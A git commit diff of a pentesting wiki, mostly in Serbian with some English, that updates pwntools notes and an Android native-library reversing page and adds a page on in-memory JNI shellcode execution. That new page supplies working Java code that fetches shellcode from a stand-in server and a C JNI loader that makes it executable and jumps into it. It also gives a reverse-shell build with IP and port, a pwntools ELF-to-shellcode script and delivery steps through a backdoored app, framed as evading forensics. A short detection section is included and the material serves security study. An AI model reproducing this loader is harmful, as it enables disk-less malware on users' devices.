Translated ['src/mobile-pentesting/android-app-pentesting/in-memory-jni-

2025-10-10 18:36:50 +00:00 · 2025-09-30 02:15:44 +00:00 · 2025-09-30 02:15:44 +00:00 · 566064c8e0
commit 566064c8e0
parent 378e1007ec
5 changed files with 522 additions and 351 deletions
--- a/src/SUMMARY.md
+++ b/src/SUMMARY.md
@ -353,6 +353,7 @@
    - [Frida Tutorial 3](mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md)
    - [Objection Tutorial](mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md)
  - [Google CTF 2018 - Shall We Play a Game?](mobile-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md)
+  - [In Memory Jni Shellcode Execution](mobile-pentesting/android-app-pentesting/in-memory-jni-shellcode-execution.md)
  - [Insecure In App Update Rce](mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md)
  - [Install Burp Certificate](mobile-pentesting/android-app-pentesting/install-burp-certificate.md)
  - [Intent Injection](mobile-pentesting/android-app-pentesting/intent-injection.md)
--- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md
+++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md
@ -6,17 +6,17 @@ pip3 install pwntools
 ```
 ## Pwn asm

-Dobijte **opkode** iz linije ili fajla.
+Dobijte **opcodes** iz linije ili fajla.
 ```
 pwn asm "jmp esp"
 pwn asm -i <filepath>
 ```
-**Može se odabrati:**
+**Moguće je izabrati:**

 - tip izlaza (raw,hex,string,elf)
- kontekst izlaza (16, 32, 64, linux, windows...)
- izbegavanje bajtova (nove linije, null, lista)
- odabrati enkoder za debagovanje shellcode-a koristeći gdb za pokretanje izlaza
+- kontekst izlazne datoteke (16,32,64,linux,windows...)
+- izbegavati bajtove (prelomi reda, null, lista)
+- izaberite encoder, debug-ujte shellcode koristeći gdb, pokrenite izlaz

 ## **Pwn checksec**

@ -33,48 +33,48 @@ Dobijte obrazac
 pwn cyclic 3000
 pwn cyclic -l faad
 ```
-**Može se odabrati:**
+**Može se izabrati:**

- Korišćeni alfabet (mala slova po defaultu)
- Dužina jedinstvenog obrasca (podrazumevano 4)
+- Korišćeni alfabet (po podrazumevanju: mala slova)
+- Dužina jedinstvenog patterna (podrazumevano 4)
 - kontekst (16,32,64,linux,windows...)
- Uzmite ofset (-l)
+- Uzmi offset (-l)

 ## Pwn debug

-Priključite GDB na proces
+Prikači GDB na proces
 ```
 pwn debug --exec /bin/bash
 pwn debug --pid 1234
 pwn debug --process bash
 ```
-**Može se odabrati:**
+**Moguće izabrati:**

- Po izvršnom fajlu, po imenu ili po pid kontekstu (16,32,64,linux,windows...)
+- Po executable, po name ili po pid context (16,32,64,linux,windows...)
 - gdbscript za izvršavanje
 - sysrootpath

 ## Pwn disablenx

-Onemogući nx binarnog fajla
+Onemogućite nx za binary
 ```
 pwn disablenx <filepath>
 ```
 ## Pwn disasm

-Disas hex opkode
+Disasembluj hex opcodes
 ```
 pwn disasm ffe4
 ```
 **Može se odabrati:**

- kontekst (16,32,64,linux,windows...)
- osnovna adresa
- boja(podrazumevano)/bez boje
+- context (16,32,64,linux,windows...)
+- base addres
+- color(default)/no color

 ## Pwn elfdiff

-Ispisuje razlike između 2 datoteke
+Prikazuje razlike između 2 fajla
 ```
 pwn elfdiff <file1> <file2>
 ```
@ -90,11 +90,11 @@ Dobij hexdump
 ```
 pwn phd <file>
 ```
-**Može se odabrati:**
+**Može se izabrati:**

 - Broj bajtova za prikaz
- Broj bajtova po liniji istaknutog bajta
- Preskoči bajtove na početku
+- Broj bajtova po liniji; istaknuti bajt
+- Preskočiti bajtove na početku

 ## Pwn pwnstrip

@ -102,7 +102,7 @@ pwn phd <file>

 ## Pwn shellcraft

-Dobijanje shellcode-ova
+Nabavite shellcodes
 ```
 pwn shellcraft -l #List shellcodes
 pwn shellcraft -l amd #Shellcode with amd in the name
@ -110,39 +110,72 @@ pwn shellcraft -f hex amd64.linux.sh #Create in C and run
 pwn shellcraft -r amd64.linux.sh #Run to test. Get shell
 pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port
 ```
-**Može se izabrati:**
+**Možete odabrati:**

 - shellcode i argumenti za shellcode
- Izlazna datoteka
+- izlazna datoteka
 - format izlaza
- debagovanje (priključiti dbg na shellcode)
- pre (debug trap pre koda)
+- debug (prikači dbg na shellcode)
+- pre (debug trap before code)
 - posle
- izbegavati korišćenje opkoda (podrazumevano: ne null i nova linija)
+- izbegavati korišćenje opcodes (default: not null and new line)
 - Pokreni shellcode
 - Boja / bez boje
 - lista syscalls
- lista mogućih shellcode-ova
- Generiši ELF kao deljenu biblioteku
+- lista mogućih shellcodes
+- Generiši ELF kao shared library

-## Pwn šablon
+## Pwn template

-Dobijte python šablon
+Preuzmi python šablon
 ```
 pwn template
 ```
-**Može se odabrati:** host, port, user, pass, path i quiet
+**Moguće je izabrati:** host, port, user, pass, path and quiet

 ## Pwn unhex

-Iz heksadecimalnog u string
+Od hex do string
 ```
 pwn unhex 686f6c61
 ```
-## Pwn ažuriranje
+## Pwn update

-Da ažurirate pwntools
+Da biste ažurirali pwntools
 ```
 pwn update
 ```
+## ELF → pakovanje raw shellcode-a (loader_append)
+
+Pwntools može pretvoriti samostalni ELF u jedinstveni raw shellcode blob koji sam mapira svoje segmente i prebaci izvršavanje na originalni entrypoint. Ovo je idealno za memory-only loadere (npr. Android aplikacije koje pozivaju JNI da izvrše preuzete bajtove).
+
+Tipični pipeline (amd64 primer)
+
+1) Izgradite statički, position‑independent payload ELF (musl preporučen zbog prenosivosti):
+```bash
+musl-gcc -O3 -s -static -o exploit exploit.c \
+-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\""
+```
+2) Pretvori ELF → shellcode pomoću pwntools:
+```python
+# exp2sc.py
+from pwn import *
+context.clear(arch='amd64')
+elf = ELF('./exploit')
+sc = asm(shellcraft.loader_append(elf.data, arch='amd64'))
+open('sc','wb').write(sc)
+print(f"ELF size={len(elf.data)} bytes, shellcode size={len(sc)} bytes")
+```
+3) Dostavite sc loaderu u memoriji (npr. preko HTTP[S]) i izvršite unutar procesa.
+
+Napomene
+- loader_append ugrađuje originalni ELF program u shellcode i emituje mali loader that mmaps the segments and jumps to the entry.
+- Budite eksplicitni u vezi arhitekture preko context.clear(arch=...). arm64 je čest na Androidu.
+- Obezbedite da kod vašeg payload‑a bude position‑independent i izbegavajte pretpostavke o procesu ASLR/NX.
+
+## References
+
+- [Pwntools](https://docs.pwntools.com/en/stable/)
+- [CoRPhone – ELF→shellcode pipeline used for Android in-memory execution](https://github.com/0xdevil/corphone)
+
 {{#include ../../../banners/hacktricks-training.md}}
--- a/src/mobile-pentesting/android-app-pentesting/README.md
+++ b/src/mobile-pentesting/android-app-pentesting/README.md
--- a/src/mobile-pentesting/android-app-pentesting/in-memory-jni-shellcode-execution.md
+++ b/src/mobile-pentesting/android-app-pentesting/in-memory-jni-shellcode-execution.md
@ -0,0 +1,121 @@
+# Android In-Memory Native Code Execution via JNI (shellcode)
+
+{{#include ../../banners/hacktricks-training.md}}
+
+Ova stranica dokumentuje praktičan obrazac za izvršavanje native payload-ova potpuno u memoriji iz nepouzdanog Android app procesa koristeći JNI. Tok izbegava kreiranje bilo kog native binarnog fajla na disku: preuzmite raw shellcode bajtove preko HTTP(S), prosledite ih JNI bridge-u, alocirajte RX memoriju i skočite u nju.
+
+Why it matters
+- Smanjuje forenzičke artefakte (nema ELF na disku)
+- Kompatibilno sa “stage-2” native payloads generisanim iz ELF exploit binary
+- U skladu je sa tradecraft-om koji koriste moderni malware i red teams
+
+High-level pattern
+1) Fetch shellcode bytes in Java/Kotlin
+2) Call a native method (JNI) with the byte array
+3) In JNI: allocate RW memory → copy bytes → mprotect to RX → call entrypoint
+
+Minimal example
+
+Java/Kotlin side
+```java
+public final class NativeExec {
+static { System.loadLibrary("nativeexec"); }
+public static native int run(byte[] sc);
+}
+
+// Download and execute (simplified)
+byte[] sc = new java.net.URL("https://your-server/sc").openStream().readAllBytes();
+int rc = NativeExec.run(sc);
+```
+C JNI strana (arm64/amd64)
+```c
+#include <jni.h>
+#include <sys/mman.h>
+#include <string.h>
+#include <unistd.h>
+
+static inline void flush_icache(void *p, size_t len) {
+__builtin___clear_cache((char*)p, (char*)p + len);
+}
+
+JNIEXPORT jint JNICALL
+Java_com_example_NativeExec_run(JNIEnv *env, jclass cls, jbyteArray sc) {
+jsize len = (*env)->GetArrayLength(env, sc);
+if (len <= 0) return -1;
+
+// RW anonymous buffer
+void *buf = mmap(NULL, len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
+if (buf == MAP_FAILED) return -2;
+
+jboolean isCopy = 0;
+jbyte *bytes = (*env)->GetByteArrayElements(env, sc, &isCopy);
+if (!bytes) { munmap(buf, len); return -3; }
+
+memcpy(buf, bytes, len);
+(*env)->ReleaseByteArrayElements(env, sc, bytes, JNI_ABORT);
+
+// Make RX and execute
+if (mprotect(buf, len, PROT_READ | PROT_EXEC) != 0) { munmap(buf, len); return -4; }
+flush_icache(buf, len);
+
+int (*entry)(void) = (int (*)(void))buf;
+int ret = entry();
+
+// Optional: restore RW and wipe
+mprotect(buf, len, PROT_READ | PROT_WRITE);
+memset(buf, 0, len);
+munmap(buf, len);
+return ret;
+}
+```
+Beleške i upozorenja
+- W^X/execmem: Moderni Android nameće W^X; anonimna PROT_EXEC mapiranja su i dalje generalno dozvoljena za app procese sa JIT (podložno SELinux politici). Neki uređaji/ROM-ovi to ograničavaju; koristite rezervno JIT-allocated exec pools ili native bridges po potrebi.
+- Architectures: Uverite se da arhitektura shellcode-a odgovara uređaju (obično arm64-v8a; x86 samo na emulatorima).
+- Entrypoint contract: Odredite konvenciju za entrypoint vašeg shellcode-a (bez argumenata naspram pokazivača na strukturu). Neka bude pozicijski nezavistan (PIC).
+- Stabilnost: Očistite keš instrukcija pre skoka; neusaglašen keš može izazvati pad na ARM.
+
+Packaging ELF → pozicijski‑nezavisan shellcode
+Robusna pipeline za operatora treba da:
+- Izgradite svoj exploit kao statički ELF koristeći musl-gcc
+- Konvertujte ELF u self‑loading shellcode blob koristeći pwntools’ shellcraft.loader_append
+
+Izgradnja
+```bash
+musl-gcc -O3 -s -static -fno-pic -o exploit exploit.c \
+-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\""
+```
+Pretvori ELF u raw shellcode (primer za amd64)
+```python
+# exp2sc.py
+from pwn import *
+context.clear(arch='amd64')
+elf = ELF('./exploit')
+loader = shellcraft.loader_append(elf.data, arch='amd64')
+sc = asm(loader)
+open('sc','wb').write(sc)
+print(f"ELF size={len(elf.data)}, shellcode size={len(sc)}")
+```
+Zašto loader_append radi: emituje mali loader koji mapira ugrađene ELF program segmente u memoriji i prebacuje kontrolu na njegov entrypoint, dajući vam jedan sirovi blob koji se može memcpy’ed i izvršiti od strane aplikacije.
+
+Dostava
+- Host sc on an HTTP(S) server you control
+- The backdoored/test app downloads sc and invokes the JNI bridge shown above
+- Listen on your operator box for any reverse connection the kernel/user-mode payload establishes
+
+Validacioni workflow za kernel payloads
+- Use a symbolized vmlinux for fast reversing/offset recovery
+- Prototype primitives on a convenient debug image if available, but always re‑validate on the actual Android target (kallsyms, KASLR slide, page-table layout, and mitigations differ)
+
+Hardening/Detection (blue team)
+- Disallow anonymous PROT_EXEC in app domains where possible (SELinux policy)
+- Enforce strict code integrity (no dynamic native loading from network) and validate update channels
+- Monitor suspicious mmap/mprotect transitions to RX and large byte-array copies preceding jumps
+
+References
+- [CoRPhone challenge repo (Android kernel pwn; JNI memory-only loader pattern)](https://github.com/0xdevil/corphone)
+- [build.sh (musl-gcc + pwntools pipeline)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/build.sh)
+- [exp2sc.py (pwntools shellcraft.loader_append)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/exp2sc.py)
+- [exploit.c TL;DR (operator/kernel flow, offsets, reverse shell)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/exploit.c)
+- [INSTRUCTIONS.md (setup notes)](https://github.com/0xdevil/corphone/blob/main/INSTRUCTIONS.md)
+
+{{#include ../../banners/hacktricks-training.md}}
--- a/src/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md
+++ b/src/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md
@ -1,50 +1,50 @@
-# Reverzovanje native biblioteka
+# Reversing Native Libraries

 {{#include ../../banners/hacktricks-training.md}}


 **Za više informacija pogledajte:** [**https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html)

-Android aplikacije mogu koristiti native biblioteke, obično napisane u C ili C++, za zadatke koji zahtevaju visoke performanse. Autori malware-a takođe zloupotrebljavaju ove biblioteke jer su ELF shared objects i dalje teže dekompajlirati nego DEX/OAT bajtkod.
-Ova stranica se fokusira na *praktične* radne tokove i *najnovija* poboljšanja alata (2023–2025) koja olakšavaju reverzovanje Android `.so` fajlova.
+Android aplikacije mogu koristiti native libraries, obično napisane u C ili C++, za zadatke osetljive na performanse. Autori malware-a takođe zloupotrebljavaju ove libraries jer su ELF shared objects i dalje teže za dekompajliranje od DEX/OAT byte-code.
+Ova stranica se fokusira na *praktične* tokove rada i *skorašnja* poboljšanja alata (2023–2025) koja olakšavaju reversing Android `.so` fajlova.

 ---

-### Brzi trijažni workflow za sveže izvučenu `libfoo.so`
+### Brzi trijažni tok za sveže izvučen `libfoo.so`

-1. **Ekstrahujte biblioteku**
+1. **Extract the library**
 ```bash
 # From an installed application
 adb shell "run-as <pkg> cat lib/arm64-v8a/libfoo.so" > libfoo.so
 # Or from the APK (zip)
 unzip -j target.apk "lib/*/libfoo.so" -d extracted_libs/
 ```
-2. **Identifikujte arhitekturu i zaštite**
+2. **Identify architecture & protections**
 ```bash
 file libfoo.so        # arm64 or arm32 / x86
 readelf -h libfoo.so  # OS ABI, PIE, NX, RELRO, etc.
 checksec --file libfoo.so  # (peda/pwntools)
 ```
-3. **Navedite eksportovane simbole i JNI vezivanja**
+3. **List exported symbols & JNI bindings**
 ```bash
 readelf -s libfoo.so | grep ' Java_'     # dynamic-linked JNI
 strings libfoo.so   | grep -i "RegisterNatives" -n   # static-registered JNI
 ```
-4. **Učitajte u dekompajler** (Ghidra ≥ 11.0, IDA Pro, Binary Ninja, Hopper or Cutter/Rizin) i pokrenite auto-analizu.
-Novije Ghidra verzije uvele su AArch64 dekompajler koji prepoznaje PAC/BTI stubove i MTE tagove, značajno poboljšavajući analizu biblioteka izgrađenih pomoću Android 14 NDK-a.
-5. **Odlučite za statičko ili dinamičko reverzovanje:** stripped, obfuscated kod često zahteva *instrumentation* (Frida, ptrace/gdbserver, LLDB).
+4. **Load in a decompiler** (Ghidra ≥ 11.0, IDA Pro, Binary Ninja, Hopper or Cutter/Rizin) and run auto-analysis.
+Novije Ghidra verzije uvele su AArch64 dekompajler koji prepoznaje PAC/BTI stubove i MTE tagove, značajno poboljšavajući analizu biblioteka izgrađenih sa Android 14 NDK.
+5. **Decide on static vs dynamic reversing:** stripped, obfuscated code often needs *instrumentation* (Frida, ptrace/gdbserver, LLDB).

 ---

-### Dinamička instrumentacija (Frida ≥ 16)
+### Dynamic Instrumentation (Frida ≥ 16)

-Frida serija 16 donela je nekoliko Android-specifičnih poboljšanja koja pomažu kada cilj koristi moderne Clang/LLD optimizacije:
+Frida serija 16 donela je nekoliko Android-specifičnih poboljšanja koja pomažu kada meta koristi moderne Clang/LLD optimizacije:

-* `thumb-relocator` može sada *hook-ovati male ARM/Thumb funkcije* generisane agresivnim poravnanjem LLD-a (`--icf=all`).
-* Enumerisanje i ponovno vezivanje *ELF import slots* radi na Androidu, omogućavajući per-module `dlopen()`/`dlsym()` patching kada inline hooks budu odbijeni.
+* `thumb-relocator` sada može *hook-ovati male ARM/Thumb funkcije* generisane agresivnim poravnanjem LLD (`--icf=all`).
+* Enumerisanje i rebinding *ELF import slots* radi na Androidu, omogućavajući per-module `dlopen()`/`dlsym()` patching kada inline hooks budu odbijeni.
 * Java hooking je ispravljen za novi **ART quick-entrypoint** koji se koristi kada su aplikacije kompajlirane sa `--enable-optimizations` na Android 14.

-Primer: nabrajanje svih funkcija registrovanih preko `RegisterNatives` i ispis njihovih adresa u runtime-u:
+Primer: enumerisanje svih funkcija registrovanih preko `RegisterNatives` i dumpovanje njihovih adresa u runtime-u:
 ```javascript
 Java.perform(function () {
 var Runtime = Java.use('java.lang.Runtime');
@ -61,29 +61,29 @@ console.log('[+] RegisterNatives on ' + clazz.getName() + ' -> ' + count + ' met
 });
 });
 ```
-Frida will work out of the box on PAC/BTI-enabled devices (Pixel 8/Android 14+) as long as you use frida-server 16.2 or later – earlier versions failed to locate padding for inline hooks.
+Frida će raditi odmah na PAC/BTI-enabled uređajima (Pixel 8/Android 14+) sve dok koristite frida-server 16.2 ili noviji – ranije verzije nisu uspevale da lociraju padding za inline hooks.

-### Telemetrija JNI-a lokalnog procesa putem prethodno učitanog .so (SoTap)
+### Process-local JNI telemetry via preloaded .so (SoTap)

-Kada je puna instrumentacija suvišna ili blokirana, i dalje možete dobiti uvid na native nivou tako što ćete prethodno učitati mali logger unutar ciljnog procesa. SoTap je lagana Android native (.so) biblioteka koja beleži runtime ponašanje drugih JNI (.so) biblioteka unutar istog app procesa (root nije potreban).
+Kada je puna instrumentacija preterana ili blokirana, i dalje možete dobiti vidljivost na nivou native tako što ćete prethodno učitati mali logger unutar ciljnog procesa. SoTap je lagana Android native (.so) biblioteka koja beleži runtime ponašanje drugih JNI (.so) biblioteka unutar istog app procesa (nije potreban root).

 Ključna svojstva:
 - Inicijalizuje se rano i posmatra JNI/native interakcije unutar procesa koji je učitava.
- Čuva logove koristeći više putanja za pisanje uz povratak na Logcat kada je skladište ograničeno.
- Source-customizable: edit sotap.c to extend/adjust what gets logged and rebuild per ABI.
+- Upisuje logove u više upisivih putanja sa automatskim prelaskom na Logcat kada je skladište ograničeno.
+- Mogućnost prilagođavanja izvora: izmenite sotap.c da proširite/prilagodite šta se loguje i ponovo izgradite za svaku ABI.

-Podešavanje (repack the APK):
-1) Ubacite odgovarajući ABI build u APK tako da loader može da pronađe libsotap.so:
+Podešavanje (prepakovanje APK-a):
+1) Dodajte odgovarajući ABI build u APK tako da loader može da locira libsotap.so:
 - lib/arm64-v8a/libsotap.so (for arm64)
 - lib/armeabi-v7a/libsotap.so (for arm32)
-2) Osigurajte da se SoTap učita pre ostalih JNI biblioteka. Inject a call early (e.g., Application subclass static initializer or onCreate) tako da je logger inicijalizovan prvi. Smali snippet example:
+2) Obezbedite da se SoTap učita pre ostalih JNI biblioteka. Injektujte poziv rano (npr. u statičkom inicijalizatoru Application podklase ili u onCreate) tako da se logger inicijalizuje prvi. Smali snippet primer:
 ```smali
 const-string v0, "sotap"
 invoke-static {v0}, Ljava/lang/System;->loadLibrary(Ljava/lang/String;)V
 ```
-3) Ponovno izgradite/potpišite/instalirajte, pokrenite app, pa prikupite logove.
+3) Ponovo izgradite/potpišite/instalirajte, pokrenite aplikaciju, pa prikupite logove.

-Putanje logova (proveravaju se redom):
+Putanje za logove (proveravaju se redom):
 ```
 /data/user/0/%s/files/sotap.log
 /data/data/%s/files/sotap.log
@ -91,46 +91,57 @@ Putanje logova (proveravaju se redom):
 /sdcard/Download/sotap-%s.log
 # If all fail: fallback to Logcat only
 ```
-Beleške i rešavanje problema:
+Napomene i rešavanje problema:
 - ABI poravnanje je obavezno. Neusklađenost će izazvati UnsatisfiedLinkError i logger se neće učitati.
- Ograničenja prostora za skladištenje su česta na modernim Android uređajima; ako upis fajlova ne uspe, SoTap će i dalje emitovati preko Logcat.
- Ponašanje/verbosnost je predviđeno da se prilagodi; ponovo izgradite iz izvornog koda nakon izmena u sotap.c.
+- Ograničenja skladištenja su česta na modernim Android uređajima; ako upisi u fajl zakažu, SoTap će i dalje emitovati putem Logcat.
+- Ponašanje/verbosnost je predviđena za prilagođavanje; nakon izmena u sotap.c ponovo izgradite iz izvornog koda.

-Ovakav pristup je koristan za malware triage i JNI debugging gde je ključno posmatrati tokove poziva native koda od starta procesa, a root/system-wide hookovi nisu dostupni.
+Ovaj pristup je koristan za malware triage i JNI debugging u slučajevima kada je ključno posmatrati tokove native poziva od pokretanja procesa, ali root/system-wide hooks nisu dostupni.

 ---

-### Nedavne ranjivosti vredne potrage u APK-ovima
+### See also: in‑memory native code execution via JNI

-| Godina | CVE | Pogođena biblioteka | Napomene |
+Uobičajen obrazac napada je preuzimanje sirovog shellcode bloba tokom izvršavanja i njegovo direktno izvršavanje iz memorije preko JNI bridge-a (bez ELF fajla na disku). Detalji i ready‑to‑use JNI snippet ovde:
+
+{{#ref}}
+in-memory-jni-shellcode-execution.md
+{{#endref}}
+
+---
+
+### Nedavne ranjivosti koje vredi tražiti u APK-ovima
+
+| Year | CVE | Affected library | Notes |
 |------|-----|------------------|-------|
-|2023|CVE-2023-4863|`libwebp` ≤ 1.3.1|Heap buffer overflow reachable from native code that decodes WebP images. Several Android apps bundle vulnerable versions. When you see a `libwebp.so` inside an APK, check its version and attempt exploitation or patching.| |
-|2024|Multiple|OpenSSL 3.x series|Several memory-safety and padding-oracle issues. Many Flutter & ReactNative bundles ship their own `libcrypto.so`.|
+|2023|CVE-2023-4863|`libwebp` ≤ 1.3.1|Heap buffer overflow koji se može aktivirati iz native code koja dekodira WebP slike. Nekoliko Android aplikacija uključuje ranjive verzije. Kada vidite `libwebp.so` u APK-u, proverite njegovu verziju i pokušajte eksploataciju ili zakrpu.| |
+|2024|Multiple|OpenSSL 3.x series|Više memory-safety i padding-oracle problema. Mnogi Flutter & ReactNative bundli sadrže sopstveni `libcrypto.so`.|

-Kada primetite *trećih strana* `.so` fajlove unutar APK-a, uvek proverite njihov hash sa upstream advisories. SCA (Software Composition Analysis) je retka na mobilu, pa su zastarele i ranjive verzije raširene.
+Kada u APK-u primetite *third-party* `.so` fajlove, uvek uporedite njihov hash sa upstream advisories. SCA (Software Composition Analysis) je neuobičajena na mobilnim platformama, pa su zastarele ranjive verzije raširene.

 ---

-### Trendovi Anti-Reversinga i ojačavanja (Android 13-15)
+### Anti-Reversing & Hardening trends (Android 13-15)

-* **Pointer Authentication (PAC) & Branch Target Identification (BTI):** Android 14 omogućava PAC/BTI u system libraries na podržanom ARMv8.3+ silikonu. Decompiler-i sada prikazuju PAC‐povezane pseudo-instrukcije; za dynamic analysis Frida injektuje trampoline *nakon* uklanjanja PAC, ali vaši custom trampolini treba da pozivaju `pacda`/`autibsp` gde je potrebno.
-* **MTE & Scudo hardened allocator:** memory-tagging je opciono, ali mnoge aplikacije svesne Play-Integrity grade se sa `-fsanitize=memtag`; koristite `setprop arm64.memtag.dump 1` plus `adb shell am start ...` da zabeležite tag faults.
-* **LLVM Obfuscator (opaque predicates, control-flow flattening):** komercijalni packeri (npr. Bangcle, SecNeo) sve češće štite *native* kod, ne samo Java; očekujte lažni control-flow i enkriptovane string blobove u `.rodata`.
+* **Pointer Authentication (PAC) & Branch Target Identification (BTI):** Android 14 omogućava PAC/BTI u system libraries na podržanom ARMv8.3+ silicijumu. Decompiler-i sada prikazuju PAC‐povezane pseudo-instrukcije; za dinamičku analizu Frida ubrizgava trampoline *posle* uklanjanja PAC, ali vaši prilagođeni trampolini treba da pozivaju `pacda`/`autibsp` kada je potrebno.
+* **MTE & Scudo hardened allocator:** memory-tagging je opt-in, ali mnoge Play-Integrity aware aplikacije se grade sa `-fsanitize=memtag`; koristite `setprop arm64.memtag.dump 1` plus `adb shell am start ...` da biste zabeležili tag faults.
+* **LLVM Obfuscator (opaque predicates, control-flow flattening):** komercijalni packeri (npr., Bangcle, SecNeo) sve više štite *native* code, ne samo Java; očekujte lažne control-flow i enkriptovane string blobe u `.rodata`.

 ---

 ### Resources

- **Učenje ARM asemblera:** [Azeria Labs – ARM Assembly Basics](https://azeria-labs.com/writing-arm-assembly-part-1/)
- **JNI & NDK dokumentacija:** [Oracle JNI Spec](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/jniTOC.html) · [Android JNI Tips](https://developer.android.com/training/articles/perf-jni) · [NDK Guides](https://developer.android.com/ndk/guides/)
- **Debugovanje native biblioteka:** [Debug Android Native Libraries Using JEB Decompiler](https://medium.com/@shubhamsonani/how-to-debug-android-native-libraries-using-jeb-decompiler-eec681a22cf3)
+- **Learning ARM Assembly:** [Azeria Labs – ARM Assembly Basics](https://azeria-labs.com/writing-arm-assembly-part-1/)
+- **JNI & NDK Documentation:** [Oracle JNI Spec](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/jniTOC.html) · [Android JNI Tips](https://developer.android.com/training/articles/perf-jni) · [NDK Guides](https://developer.android.com/ndk/guides/)
+- **Debugging Native Libraries:** [Debug Android Native Libraries Using JEB Decompiler](https://medium.com/@shubhamsonani/how-to-debug-android-native-libraries-using-jeb-decompiler-eec681a22cf3)

 ### Reference

 - Frida 16.x change-log (Android hooking, tiny-function relocation) – [frida.re/news](https://frida.re/news/)
- NVD advisory za `libwebp` overflow CVE-2023-4863 – [nvd.nist.gov](https://nvd.nist.gov/vuln/detail/CVE-2023-4863)
+- NVD advisory for `libwebp` overflow CVE-2023-4863 – [nvd.nist.gov](https://nvd.nist.gov/vuln/detail/CVE-2023-4863)
 - SoTap: Lightweight in-app JNI (.so) behavior logger – [github.com/RezaArbabBot/SoTap](https://github.com/RezaArbabBot/SoTap)
 - SoTap Releases – [github.com/RezaArbabBot/SoTap/releases](https://github.com/RezaArbabBot/SoTap/releases)
- Kako raditi sa SoTap? – [t.me/ForYouTillEnd/13](https://t.me/ForYouTillEnd/13)
+- How to work with SoTap? – [t.me/ForYouTillEnd/13](https://t.me/ForYouTillEnd/13)
+- [CoRPhone — JNI memory-only execution pattern and packaging](https://github.com/0xdevil/corphone)

 {{#include ../../banners/hacktricks-training.md}}